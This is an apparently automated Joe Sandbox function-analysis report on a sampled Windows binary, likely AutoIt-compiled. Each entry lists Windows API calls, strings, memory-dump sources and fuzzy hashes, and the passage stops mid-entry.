Opcode Fuzzy Hash: 0b675be14494d469097b9684868fd9c89c47766ad05d60514f4562e3e000acef
Instruction Fuzzy Hash: 3D41A9312142059FDB14EF64CC99F6EB7A5AF50350F188459F9069F2D2DBB0ACA4CF92

Function 00252F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00253033

Strings

stop, xrefs: 00253004
question, xrefs: 00252FEC
info, xrefs: 00252FD4
blank, xrefs: 00252FB5
warning, xrefs: 0025301C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: bc59a021d52abaf8300e2251cf675e69457ba9144a1472b8d3265c719525162b
Instruction ID: 68c8830adda28c744ac8b377c28c99f37d44dfbbbb12c22eab84e188620fe987
Opcode Fuzzy Hash: bc59a021d52abaf8300e2251cf675e69457ba9144a1472b8d3265c719525162b
Instruction Fuzzy Hash: 3611083267C347BAD715DA14DC42CAB779C9F263A1F10002AFD04A61C1DEB16F7855A8

Function 002542F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00254312
LoadStringW.USER32(00000000), ref: 00254319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0025432F
LoadStringW.USER32(00000000), ref: 00254336
_wprintf.LIBCMT ref: 0025435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0025437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00254357

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 48de2826d4f5ff62a1fb0de3b162bc313dd073df4dbbdc08718ad429a3fe1be7
Instruction ID: 83926f8f51cbc74b68aed96229be8e961b5a0c594dceb744359cedc6e3ba0021
Opcode Fuzzy Hash: 48de2826d4f5ff62a1fb0de3b162bc313dd073df4dbbdc08718ad429a3fe1be7
Instruction Fuzzy Hash: 22018FF2804208BFE790ABA4EE8DEE6736CEB08301F4000A5BB09E2011EA705ED44B74

Function 0027D43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001F2612: GetWindowLongW.USER32(?,000000EB), ref: 001F2623

GetSystemMetrics.USER32(0000000F), ref: 0027D47C
GetSystemMetrics.USER32(0000000F), ref: 0027D49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0027D6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0027D6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0027D716
ShowWindow.USER32(00000003,00000000), ref: 0027D735
InvalidateRect.USER32(?,00000000,00000001), ref: 0027D75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 0027D77D

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 2f1e93f385dee995c0c6df45b56ecc9d6982d3389203fcd7ed06f4b8f4189de6
Instruction ID: bcbc47d593fabda4a75cdaedb43bd95a7e1048d9fcd8e31b90b28145bd935e88
Opcode Fuzzy Hash: 2f1e93f385dee995c0c6df45b56ecc9d6982d3389203fcd7ed06f4b8f4189de6
Instruction Fuzzy Hash: D5B18A75600226EBDF18CF68C9C9BA97BB1BF04711F08C169EC4C9F295D774A9A0CB60

Function 001F2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0022C1C7,00000004,00000000,00000000,00000000), ref: 001F2ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0022C1C7,00000004,00000000,00000000,00000000,000000FF), ref: 001F2B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0022C1C7,00000004,00000000,00000000,00000000), ref: 0022C21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0022C1C7,00000004,00000000,00000000,00000000), ref: 0022C286

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 8b8da5ed0a7c3e43c1d4cbaa5ccdd217e8fb27cbf1f8cdec419466494b24eaac
Instruction ID: d216eade19687b3bf1030e6bfcc0969c65e514a5e39ab2042a944258ff499593
Opcode Fuzzy Hash: 8b8da5ed0a7c3e43c1d4cbaa5ccdd217e8fb27cbf1f8cdec419466494b24eaac
Instruction Fuzzy Hash: 93417D30218A88EBC73D8B79EC9CB7F7B91BB85310F24881DE64B87960CB749881D711

Function 002570C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 002570DD

Part of subcall function 00210DB6: std::exception::exception.LIBCMT ref: 00210DEC
Part of subcall function 00210DB6: __CxxThrowException@8.LIBCMT ref: 00210E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00257114
EnterCriticalSection.KERNEL32(?), ref: 00257130
_memmove.LIBCMT ref: 0025717E
_memmove.LIBCMT ref: 0025719B
LeaveCriticalSection.KERNEL32(?), ref: 002571AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 002571BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 002571DE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 01b2bb81f3d6a31a8ef1553579190e6a1f1c88e9580c7b36ab17c21ef74b2bc6
Instruction ID: 02d037494047c026c4fe6ecb609bdbe1c7391c185d1be2489db9c60b52e017dc
Opcode Fuzzy Hash: 01b2bb81f3d6a31a8ef1553579190e6a1f1c88e9580c7b36ab17c21ef74b2bc6
Instruction Fuzzy Hash: 18317231904205EBCB10DFA5ED899AE77B8EF49311F1441A5FD089B246DB709EA4CB64

Function 002761D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 002761EB
GetDC.USER32(00000000), ref: 002761F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 002761FE
ReleaseDC.USER32(00000000,00000000), ref: 0027620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00276246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00276257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0027902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00276291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 002762B1

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 3132507fd87a5c8c5b1acbff8cc5d424b1c62e56fddc94b31403eefa8205930f
Instruction ID: 62786dcec41a8279771c6a28903dd3cb7b71d1173c70a046504be3f0cf00a9c7
Opcode Fuzzy Hash: 3132507fd87a5c8c5b1acbff8cc5d424b1c62e56fddc94b31403eefa8205930f
Instruction Fuzzy Hash: 47319F72105610BFEB518F10DC8AFEB3BADEF49761F044065FE0C9A292C6759C91CB60

Function 0024BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0024BBC4
_memcmp.LIBCMT ref: 0024BBE6
_memcmp.LIBCMT ref: 0024BBFE
_memcmp.LIBCMT ref: 0024BC11
_memcmp.LIBCMT ref: 0024BC2B
_memcmp.LIBCMT ref: 0024BC3E
_memcmp.LIBCMT ref: 0024BC56
_memcmp.LIBCMT ref: 0024BC71

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 00c876b422e139212e5242b2777b1827a14d75d93070c241d9f6559f2178e011
Instruction ID: 8bd2d7e990efe14cad8a832d6782a24a9edd338ce474ebf263511bc41c1721c9
Opcode Fuzzy Hash: 00c876b422e139212e5242b2777b1827a14d75d93070c241d9f6559f2178e011
Instruction Fuzzy Hash: 4021F571632206BBE60A7A11DD82FFB779DDE2174CF044025FE0496683EB64DE3586A1

Function 0025EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

Part of subcall function 0020FC86: _wcscpy.LIBCMT ref: 0020FCA9

_wcstok.LIBCMT ref: 0025EC94
_wcscpy.LIBCMT ref: 0025ED23
_memset.LIBCMT ref: 0025ED56

Strings

X, xrefs: 0025ED93

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: ccf39913c0750ba97f1270f85e8732326a4fce279389d4f4d5068f6e8f82ef3d
Instruction ID: 606a0d25b32ee0c9ead5ddc43bcf5d2d7fafd63ae8c1daf65c1318f3ec423d72
Opcode Fuzzy Hash: ccf39913c0750ba97f1270f85e8732326a4fce279389d4f4d5068f6e8f82ef3d
Instruction Fuzzy Hash: 66C19E315183059FCB18EF24C885E6AB7E4BF95310F00492DFD999B2A2DB70ED59CB86

Function 00266B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00266C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00266C21
WSAGetLastError.WSOCK32(00000000), ref: 00266C34
htons.WSOCK32(?,?,?,00000000,?), ref: 00266CEA
inet_ntoa.WSOCK32(?), ref: 00266CA7

Part of subcall function 0024A7E9: _strlen.LIBCMT ref: 0024A7F3
Part of subcall function 0024A7E9: _memmove.LIBCMT ref: 0024A815

_strlen.LIBCMT ref: 00266D44
_memmove.LIBCMT ref: 00266DAD

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 66062fe8bc438938b0951d228a2f3a6cc7dc37d8f503c63b5f6c966d37420741
Instruction ID: bf54591b4702fb6f1aee062527b89e4f0ccc5c9530679405dc6a253d6018e7b2
Opcode Fuzzy Hash: 66062fe8bc438938b0951d228a2f3a6cc7dc37d8f503c63b5f6c966d37420741
Instruction Fuzzy Hash: 0281F171214204ABC710EF24CC8AF7AB7A9AFA4314F14491CFA459B2D2DB70ED40CB92

Function 001F1424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: babd7859f129b15770e6f87c48cd6b5105e1168222e8036980783e938310bb49
Instruction ID: a9b5060de702989b67b407456995ab3179e37bac4eb56cc17dd6b21e3cd53311
Opcode Fuzzy Hash: babd7859f129b15770e6f87c48cd6b5105e1168222e8036980783e938310bb49
Instruction Fuzzy Hash: F3716B31900119FFCB15CF98CC89ABEBB79FF85314F248159FA15AA251C734AA51CFA0

Function 0027B351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(010D4AB0), ref: 0027B3EB
IsWindowEnabled.USER32(010D4AB0), ref: 0027B3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 0027B4DB
SendMessageW.USER32(010D4AB0,000000B0,?,?), ref: 0027B512
IsDlgButtonChecked.USER32(?,?), ref: 0027B54F
GetWindowLongW.USER32(010D4AB0,000000EC), ref: 0027B571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0027B589

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: d87eabcf4a48ec31e6f60ad830b4e261eb33daa589e137327c5d09d0a28edcbd
Instruction ID: dda8d805df88c50d239588beb3b78547ee7627f091555d348989b533795323ce
Opcode Fuzzy Hash: d87eabcf4a48ec31e6f60ad830b4e261eb33daa589e137327c5d09d0a28edcbd
Instruction Fuzzy Hash: 0F71A238614606EFDB229F54C8B4FBA77B9FF09300F148099F959972A2C731ADA0DB50

Function 0026F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0026F448
_memset.LIBCMT ref: 0026F511
ShellExecuteExW.SHELL32(?), ref: 0026F556

Part of subcall function 001F9837: __itow.LIBCMT ref: 001F9862
Part of subcall function 001F9837: __swprintf.LIBCMT ref: 001F98AC

Part of subcall function 0020FC86: _wcscpy.LIBCMT ref: 0020FCA9

GetProcessId.KERNEL32(00000000), ref: 0026F5CD
CloseHandle.KERNEL32(00000000), ref: 0026F5FC

Strings

@, xrefs: 0026F525

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 6fd69984bb25afa2602a7e8601487c66c0b2ab699cc03b17fd0971e63a837b4f
Instruction ID: 88ba4ccf00902170e7ec13e9d5030b4c81c3ee79513612d1e33b17782d4eb1aa
Opcode Fuzzy Hash: 6fd69984bb25afa2602a7e8601487c66c0b2ab699cc03b17fd0971e63a837b4f
Instruction Fuzzy Hash: 3A61BE70A006199FCF14EF64D585AAEBBF5FF48310F108069E91AAB761CB30AD91CF80

Function 00250F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00250F8C
GetKeyboardState.USER32(?), ref: 00250FA1
SetKeyboardState.USER32(?), ref: 00251002
PostMessageW.USER32(?,00000101,00000010,?), ref: 00251030
PostMessageW.USER32(?,00000101,00000011,?), ref: 0025104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00251095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 002510B8

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 89d3a531d5b8969636781fc486e383fa345f21a89ea28d4f20247ad518a3fd5b
Instruction ID: 4ec642369eb45767993449e466c4a29310b9b57c11db1419e173248f7a3d97b4
Opcode Fuzzy Hash: 89d3a531d5b8969636781fc486e383fa345f21a89ea28d4f20247ad518a3fd5b
Instruction Fuzzy Hash: FE5124605287D63DFB364A348C45BBABEA95B06305F088589E9D8868C2C2F4ECFCD754

Function 00250D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00250DA5
GetKeyboardState.USER32(?), ref: 00250DBA
SetKeyboardState.USER32(?), ref: 00250E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00250E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00250E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00250EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00250EC9

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 02441586af4d67b4024debfdc0c1bf2e725850ccb1d1ce0f280ab3baaaea114b
Instruction ID: ddf5d6a5d7d59401c8d7cb5b48131d2eba41f20a1a866dedbc8367c05d8bac96
Opcode Fuzzy Hash: 02441586af4d67b4024debfdc0c1bf2e725850ccb1d1ce0f280ab3baaaea114b
Instruction Fuzzy Hash: 1D512A605247D67DFB324B348C86B7A7FA99B06301F084889E9D4468C2C3B5ECACD758

Function 002555FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0025560A
_wcsncpy.LIBCMT ref: 0025563F
_wcsncpy.LIBCMT ref: 00255671
_wcsncpy.LIBCMT ref: 002556A4
_wcsncpy.LIBCMT ref: 002556E6
_wcsncpy.LIBCMT ref: 00255720
_wcsncpy.LIBCMT ref: 0025574F

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 781dffe0f40c85aae6a0f88e702c6e05d3ea58d9d364e2ebb0837a90f3b2bb31
Instruction ID: 5298ef918fea519f3b23d96e8c4bd3a4213acdb4d1129a4dafde300a54d2d16d
Opcode Fuzzy Hash: 781dffe0f40c85aae6a0f88e702c6e05d3ea58d9d364e2ebb0837a90f3b2bb31
Instruction Fuzzy Hash: CA418765C30614B6CB11EBB58C46ACFB7FD9F18310F504565F918E3121FA34A3A9CBAA

Function 0024D56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0024D5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0024D60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0024D61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 0024D69D

Strings

,,(, xrefs: 0024D578
DllGetClassObject, xrefs: 0024D610

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: ,,($DllGetClassObject
API String ID: 753597075-3627132694
Opcode ID: e6801cb91339d6b95f6a10265371bb7996e13f0da19d4ee20d2d2177b12c4c91
Instruction ID: e7e22ee7540b4fc121c0a599d85369106a29a3ce80ecd1283e4053f2b3dc96ad
Opcode Fuzzy Hash: e6801cb91339d6b95f6a10265371bb7996e13f0da19d4ee20d2d2177b12c4c91
Instruction Fuzzy Hash: B241A0B1620205EFDB09DF64D888A9ABBB9EF45310F1680ADEC099F205D7B1DD54CBA0

Function 00253671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

